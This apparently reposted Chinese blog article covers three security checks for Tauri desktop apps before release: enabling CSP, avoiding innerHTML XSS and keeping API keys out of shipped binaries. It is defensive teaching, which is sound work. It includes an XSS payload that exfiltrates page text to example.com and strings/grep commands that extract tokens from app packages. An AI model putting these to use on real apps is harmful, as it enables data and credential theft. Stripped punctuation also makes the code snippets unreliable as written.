ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Tauri桌面应用上线前,必须先查的3个安全细节

Tauri桌面应用上线前,必须先查的3个安全细节 Tauri 桌面应用上线前必须先查的 3 个安全细节发布元信息发布前删掉此区块标题备选《Tauri 桌面应用上线前必须先查的 3 个安全细节》《本地应用不是更安全Tauri 应用的 3 个致命细节》关键词Tauri、桌面应用安全、CSP、XSS、最小权限、密钥管理、Rust配图4 张图 1–图 4位于 images/ 目录正文已带编号图注可直接沿用系列位置第 1 篇共 9 篇本系列①Tauri 桌面应用上线前必须先查的 3 个安全细节本篇② 不用 Git如何在 SQLite 里实现版本控制与回滚③ Tauri 应用自动更新从签名密钥到三平台发布的完整流程④ AI 写的项目能跑但不敢改我的 6 步重构顺序⑤ 本地优先应用的 SQLite 表设计5 个让我返工的取舍⑥ FTS5 真比 LIKE 快吗我把两万条中文数据压测了一遍⑦ 小工具别急着上 React万行数据下原生渲染的性能账⑧ 手写词级 Diff从 O(n²) 到可用的 6 行代码⑨ 本地应用的数据迁移schema 演进的坑与一条能回退的路读完这篇你能拿到什么一份可以直接抄进项目的 CSP 配置以及开启后不误伤 IPC 的关键一行一个判断这段代码会不会被 XSS的快速标准不用再凭感觉一条关于密钥放置的硬原则帮你避开那个最常见的错误方案一份发布前十分钟能过一遍的自检清单引言桌面应用不是更安全而是更危险很多从 Web 转过来做桌面的同学有一个直觉数据都在用户本地不上服务器安全自然比 Web 简单。这个直觉是反的。Web 应用即使被注入脚本攻击者拿到的也只是当前页面的 Cookie 和 DOM而桌面应用的渲染层一旦被打穿攻击者脚下站着的是一台有真实文件系统、能弹系统对话框、能打开外部进程的机器。你的 WebView 不再是隔离沙箱里的小房间而是用户整台电脑的一个入口。最近在给一个本地优先的桌面小工具做出厂体检发现的问题很有共性归结起来是三个CSP 被关掉了自己还不知道用innerHTML渲染用户输入全线失守第三方 API Key 明文写死在前端代码里三个都不是会不会发生的问题而是什么时候被发现的问题。逐个拆。一、先理解桌面端的安全模型和 Web 哪里不一样在做加固之前先统一认识否则很容易拿 Web 的惯性思维做事维度Web 应用Tauri 桌面应用攻击面服务端接口、跨站输入本地导入的文件、剪贴板、外部配置、渲染层自身受害范围一个会话、一个账号用户整台机器的文件与凭据渲染层能力浏览器沙箱限制可调用插件能力读文件、开进程、弹系统对话框更新与止损服务端随时修复用户不更新漏洞就一直在那台机器上关键在第三行。Tauri 的权限是靠capabilities配置授权的前端 JS 可以直接invoke这些能力——一旦页面里能跑任意脚本这些能力就自动成了攻击者的能力。这是后面三个坑危害被放大的根本原因。把这条链路完整画出来你就能看清每个坑分别卡在哪一环图 1桌面端注入脚本的完整攻击链。五个环节里第 2、3、4 步恰好对应后面要讲的三道防线输出编码卡在第 2 步CSP 卡在第 3 步最小权限卡在第 4 步。看懂这张图后面每个坑卡在哪一环就一清二楚了。二、坑一CSP 被关掉了你却毫无察觉现象Tauri 项目默认生成的配置文件里app.security.csp是空的未设置也就是不启用任何内容安全策略{app:{security:{csp:null}}}不启用意味着页面上任何一段被注入的脚本都可以向任意域名发起请求也可以从任意地址加载远程脚本。有人会说“我的页面全是本地资源没有跨域内容不怕。” 但对本地优先类应用来说输入从来不止来自网络用户互相分享的数据文件、导入的配置快照、读取进来的本地文本内容全是不可信输入。为什么危险关掉 CSP 后一次注入就能形成完整攻击链而且数据会直接被带出去!-- 攻击者构造的一段内容被你的渲染层当成 HTML 拼进页面 --imgsrcxonerrorfetch(https://example.com/collect?dbtoa(document.body.innerText))没有 CSP这段脚本畅通无阻。正确做法开启 CSP。一份可直接抄的基线按你所用的 Tauri 版本自查字段名{app:{security:{csp:default-src self; script-src self; style-src self unsafe-inline; img-src self data: asset: http://asset.localhost; font-src self data:; connect-src ipc: http://ipc.localhost}}}有两个地方必须注意几乎所有人第一次配都会踩connect-src要放行 IPCTauri v2 的前端与后端走的是ipc:自定义协议以及开发期的http://ipc.localhost。漏了它开启 CSP 之后你会发现所有invoke调用全部失败——很多人就是在这一步放弃 CSP 的。有外部 API 请求时把域名写进白名单比如只允许https://api.example.com不要图省事写通配符。CSP 的价值就在于白名单够窄。上线前务必打开 CSP 再跑一遍完整功能回归能拦住内联脚本、内联事件处理器和大部分数据外传。三、坑二innerHTML是全线失守的那道口子现象不上框架、用原生 TS 写渲染层时最顺手的写法是模板字符串list.innerHTMLitems.map((item)div classcard h3${item.name}/h3 p${item.content}/p /div).join();只要item.content经过用户手这就是一个存储型 XSS。为什么桌面端比 Web 端更严重在 Web 里注入脚本能做的事受同源策略限制在桌面应用里如果权限配置得宽松注入脚本可以直接调用已授权的本地能力// 假设 capabilities 里放行了较宽的文件读取范围const{readTextFile}window.__TAURI_INTERNALS__;// 注入者可以直接把本机敏感文本外发出去一次渲染漏洞等价于给攻击者开了一扇通往磁盘的门。这也是为什么我强烈建议给 fs 类插件配 scope 时越窄越好只放行应用自己的数据目录不要图方便放行整个用户目录。正确做法三层防御成本都很低第一层默认用textContent大多数场景根本不需要 HTMLfunctionrenderItem(item:Item):HTMLElement{consteldocument.createElement(div);el.classNamecard;consttitledocument.createElement(h3);title.textContentitem.name;// 天然免疫constbodydocument.createElement(p);body.textContentitem.content;el.append(title,body);returnel;}第二层确实需要 HTML 时做转义functionescapeHtml(input:string):string{returninput.replace(/[]/g,(c)({:amp;,:lt;,:gt;,:quot;,:#39;,})[c]asstring);}注意这不是替代方案而是兜底转义只处理标签边界处理不了属性里的javascript:协议该做的白名单校验还是要做。第三层CSP 兜底即便某处漏了转义script-src self也会让内联脚本跑不起来。安全工程讲的是纵深防御——单点一定会被绕过多一层就多一次机会。四、坑三把第三方 API Key 塞进前端等于公开现象应用里做了一点 AI 能力于是前端直接写死constAPI_KEYxxxxxxxxxxxxxxxxxxxxxxxx;constAPI_URLhttps://api.example.com/v1/chat;constresawaitfetch(API_URL,{method:POST,headers:{Authorization:Bearer${API_KEY}},body:JSON.stringify(payload),});提取门槛低到夸张桌面应用的源码就在用户的磁盘上。前端代码即使经过打包压缩字符串常量也不会被抹掉# macOSstrings /Applications/MyApp.app/Contents/Resources/*.asar# Windows 也有对应的资源提取方式strings app-binary|grep-iBearer\|sk-\|api\.example不需要逆向、不需要动态调试几分钟就能拿到。而且它写死在每一个分发出去的副本里一个人泄露等于全部泄露。一个常见误区挪到 Rust 侧就安全了不够。字符串常量在编译进二进制之后用strings照样能扒出来#[tauri::command]asyncfnask_llm(prompt:String)-ResultString,String{// 这里的 Key 依然存在于最终二进制的数据段中constKEY:strxxxxxxxxxxxxxxxxxxxxxxxx;// ...}把 Key 挪到后端只是抬高了门槛——从翻源码变成翻二进制依然是公开信息不解决根本问题。这一点很多安全建议都写错了值得单独记住。按这个标准筛一遍市面上常见的几种摆法其实只有两条能真正解决问题图 2密钥的两条死路与三条活路。注意左侧两个红框被划进死路的原因——它们都只提高了提取成本却没有改变你已经把凭据交出去了这个事实。右侧三个方案里只有 A 和 B 从根本上解耦了应用方持有的东西和攻击者能拿到的东西。真正管用的三条路方案 A让用户自带凭据个人/小工具类推荐应用不打包任何密钥由用户在设置里填写存到系统钥匙串usekeyring::Entry;fnsave_key(value:str)-Result(),String{Entry::new(com.example.myapp,llm_api_key).and_then(|e|e.set_password(value)).map_err(|e|e.to_string())}fnload_key()-ResultString,String{Entry::new(com.example.myapp,llm_api_key).and_then(|e|e.get_password()).map_err(|e|e.to_string())}凭据归用户所有泄露范围限定在用户自己身上应用方零责任。方案 B走自己的服务端代理要对外分发的商业应用密钥留在服务端客户端只带自己的登录态服务端做鉴权、限流和审计。这是唯一能真正做到别人拿不到 Key的方案代价是要有后端。方案 C短期子密钥 可远程吊销折中如果一定要内置至少做到用限额、限源的临时凭据并且你能在服务端随时让它失效。一句话原则任何你没法吊销的东西都不该放进客户端。五、把三道防线拼起来看三个坑对应三道防线但它们不是三选一而是各自负责一段。理清每道防线的边界才不会在出事时找错方向图 3三道防线各自管什么边界又在哪里。每道防线都有一句不负责什么这一栏比负责什么更重要——它决定了出事时你该往哪个方向排查也决定了你不可能只靠其中一道就交差。输出编码是第一道也是性价比最高的一道改起来最快挡掉的攻击面最大。它的问题是人的疏忽——只要有一处渲染忘了处理整条防线就有缺口。CSP是第二道它不指望你写对每一行代码而是保证就算漏了脚本也跑不起来。代价是配置要准尤其是connect-src那条 IPC 放行。最小权限是最后一道前两道都没拦住时决定攻击者能摸到多少东西。权限一旦放出去就收不回来所以它必须在发布前定好。六、发布前自检清单建议在 CI 里做掉或至少发版前人工过一遍检查项怎么查通过标准CSP 已启用看配置里app.security.csp非 null且白名单尽量窄IPC 未被 CSP 误伤跑一遍完整功能所有invoke调用正常前端无innerHTML拼接用户输入全局搜索.innerHTML仅剩静态模板或直接改为textContentfs / shell 权限范围最小化看capabilities中的 scope只放行应用自身数据目录未使用的插件已移除对比依赖与权限清单用到才开宁少勿多二进制里无凭据strings扫一遍包体搜不到任何 Key / Token更新通道有签名校验检查更新插件配置公钥校验已开启这七项可以直接截图存下来作为发版前的固定动作图 4发布前自检清单。前三项针对渲染层能不能被注入中间三项针对权限和凭据有没有放大损失最后一项针对修完能不能送到用户手里。顺序也建议照着来——先关掉入口再收窄影响面。结语这三件事之间是有逻辑的可以串成一句话记CSP的作用是就算发生了 XSS也让它跑不起来输出编码的作用是让 XSS 压根不发生最小权限的作用是就算它跑起来了也摸不到用户磁盘。桌面客户端的安全难点从来不在某个漏洞多难修而在于它被写死在了用户机器上——你修完只要用户不更新那台机器上的洞就一直在。所以出厂前多看这十分钟比事后发公告有用得多。下一篇安全只是底线。桌面应用真正难的是数据怎么存、改坏了怎么退回去——下一篇写的是用 SQLite 实现一套版本控制与回滚机制不需要引入 Git一百行以内就能跑起来② 不用 Git如何在 SQLite 里实现版本控制与回滚如果这篇帮你避开了某个坑收藏一下发版前拿出来对照检查也欢迎在评论区说说你踩过的桌面端安全问题。
返回列表